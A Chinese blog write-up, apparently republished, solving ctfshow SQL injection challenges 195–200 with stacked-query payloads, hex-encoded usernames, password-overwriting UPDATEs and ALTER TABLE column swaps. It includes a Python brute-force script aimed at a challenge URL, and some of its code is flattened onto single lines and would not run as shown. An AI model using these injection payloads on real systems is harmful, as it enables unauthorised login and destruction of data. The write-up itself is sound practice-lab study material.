ctfshow sql 195-200

2023-12-22 17:20
文章标签 sql 200 ctfshow database 195

本文主要是介绍ctfshow sql 195-200,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

195 堆叠注入 十六进制

if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){$ret['msg']='用户名非法';die(json_encode($ret));}

可以看到`没被过滤,select 空格 被过滤了,可以大致估计用堆叠注入

空格用`来绕过

很久没做堆叠了

  if($row[0]==$password){$ret['msg']="登陆成功 flag is $flag";}

当登录密码正确的时候就可以得到flag,所以现在要更新密码

先在本地测试一下堆叠注入

update`表`set`字段`=密码

select count(*) from users where name='DuZZ';update`users`set`password`=0x313131;

 可以发现所有密码都被改成了111

admin;update`ctfshow_user`set`pass`=111;

但是查询失败了

我们再看一下查询语句

  //拼接sql语句查找指定ID用户$sql = "select pass from ctfshow_user where username = {$username};";

因为username没有被单引号包裹

就像这个没有被包裹会报错一下 ,就不是字符串

我们转换成十六进制试一下

发现用十六进制就不用单引号了

同理我们把admin转换成十六进制

发现可以登录成功了

196 select

过滤语句

if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){$ret['msg']='用户名非法';die(json_encode($ret));}

 还有条件

 if(strlen($username)>16){$ret['msg']='用户名不能超过16个字符';die(json_encode($ret));}

看到别人wp说

其实select没有被过滤

那我们可以使用select,先在本地测试一下

select * from users;select(9);

那我们就可以把这个9作为密码,然后再在密码输入9,就可以登录成功

197 select tables

同理的

看过滤语句,这里用户名长度没有限制了

if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){$ret['msg']='用户名非法';die(json_encode($ret));}

这里核心就是跟上一题一样

select(1)

那么我们只要password为1 就可以成功查询

那么这里同理

我们如果show tables

然后password就是表名ctfshow_user

那么就会成功

198 alter转变字段

  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){$ret['msg']='用户名非法';die(json_encode($ret));}if($row[0]==$password){$ret['msg']="登陆成功 flag is $flag";}

用上一题的也能打通

还有一种方法,通过转变字段实现

我们先在本机操作一下

看下我们本来自己创建的表

现在使用alter命令,把password字段变成a字段

    alter table users change column `password` `a` varchar(255)

然后我们把id字段改为password字段

alter table users change column `id` `password` varchar(255)

我们再把a字段改为id字段

alter table users change column `a` `id` varchar(255)

 

这样我们最终就实现了id与password字段的交换

那么回到题目

我们需要有username和password就可以实现登录

然后我们现在知道username,那么需要知道password

如果实现password与id字段交换,然后我们只需要知道password的id字段

而id字段肯定就是数字,那么可以通过爆破来实现

import requests
url="http://9ecb1c54-5708-48b9-9f05-f0fde09cf80b.challenge.ctf.show/api/"for i in range(1000):if i==0:payload={'username': "0;alter table ctfshow_user change column `pass` `a` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `a` `id` varchar(255);",'password':i}r=requests.post(url=url,data=payload)data = {'username': '0x61646d696e','password': i}re=requests.post(url=url,data=data)#print(re.text)if r"登陆成功" in re.json()['msg']:print(re.json()['msg'])break

199 text绕过varchar(200)

这里括号被过滤了

之前的payload还可以

括号被过滤,可以用text代替

0;alter table ctfshow_user change `username` `a` text;alter table ctfshow_user change `pass` `username` text;alter table ctfshow_user change `a` `pass` text;

然后 username = 0 passwd = userAUTO

200

多了一点过滤没什么影响

if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(|\,/i', $username)){$ret['msg']='用户名非法';die(json_encode($ret));}

之前的payload还是能打通

这篇关于ctfshow sql 195-200的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/524803

相关文章

MySQL中时区参数time_zone解读

《MySQL中时区参数time_zone解读》MySQL时区参数time_zone用于控制系统函数和字段的DEFAULTCURRENT_TIMESTAMP属性,修改时区可能会影响timestamp类型... 目录前言1.时区参数影响2.如何设置3.字段类型选择总结前言mysql 时区参数 time_zon

Python MySQL如何通过Binlog获取变更记录恢复数据

《PythonMySQL如何通过Binlog获取变更记录恢复数据》本文介绍了如何使用Python和pymysqlreplication库通过MySQL的二进制日志(Binlog)获取数据库的变更记录... 目录python mysql通过Binlog获取变更记录恢复数据1.安装pymysqlreplicat

使用SQL语言查询多个Excel表格的操作方法

《使用SQL语言查询多个Excel表格的操作方法》本文介绍了如何使用SQL语言查询多个Excel表格,通过将所有Excel表格放入一个.xlsx文件中,并使用pandas和pandasql库进行读取和... 目录如何用SQL语言查询多个Excel表格如何使用sql查询excel内容1. 简介2. 实现思路3

Mysql DATETIME 毫秒坑的解决

《MysqlDATETIME毫秒坑的解决》本文主要介绍了MysqlDATETIME毫秒坑的解决,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着... 今天写代码突发一个诡异的 bug,代码逻辑大概如下。1. 新增退款单记录boolean save = s

mysql-8.0.30压缩包版安装和配置MySQL环境过程

《mysql-8.0.30压缩包版安装和配置MySQL环境过程》该文章介绍了如何在Windows系统中下载、安装和配置MySQL数据库,包括下载地址、解压文件、创建和配置my.ini文件、设置环境变量... 目录压缩包安装配置下载配置环境变量下载和初始化总结压缩包安装配置下载下载地址:https://d

MySQL中的锁和MVCC机制解读

《MySQL中的锁和MVCC机制解读》MySQL事务、锁和MVCC机制是确保数据库操作原子性、一致性和隔离性的关键,事务必须遵循ACID原则,锁的类型包括表级锁、行级锁和意向锁,MVCC通过非锁定读和... 目录mysql的锁和MVCC机制事务的概念与ACID特性锁的类型及其工作机制锁的粒度与性能影响多版本

MYSQL行列转置方式

《MYSQL行列转置方式》本文介绍了如何使用MySQL和Navicat进行列转行操作,首先,创建了一个名为`grade`的表,并插入多条数据,然后,通过修改查询SQL语句,使用`CASE`和`IF`函... 目录mysql行列转置开始列转行之前的准备下面开始步入正题总结MYSQL行列转置环境准备:mysq

MySQL不使用子查询的原因及优化案例

《MySQL不使用子查询的原因及优化案例》对于mysql,不推荐使用子查询,效率太差,执行子查询时,MYSQL需要创建临时表,查询完毕后再删除这些临时表,所以,子查询的速度会受到一定的影响,本文给大家... 目录不推荐使用子查询和JOIN的原因解决方案优化案例案例1:查询所有有库存的商品信息案例2:使用EX

Linux(Centos7)安装Mysql/Redis/MinIO方式

《Linux(Centos7)安装Mysql/Redis/MinIO方式》文章总结:介绍了如何安装MySQL和Redis,以及如何配置它们为开机自启,还详细讲解了如何安装MinIO,包括配置Syste... 目录安装mysql安装Redis安装MinIO总结安装Mysql安装Redis搜索Red

Mysql8.0修改配置文件my.ini的坑及解决

《Mysql8.0修改配置文件my.ini的坑及解决》使用记事本直接编辑my.ini文件保存后,可能会导致MySQL无法启动,因为MySQL会以ANSI编码读取该文件,解决方法是使用Notepad++... 目录Myhttp://www.chinasem.cnsql8.0修改配置文件my.ini的坑出现的问题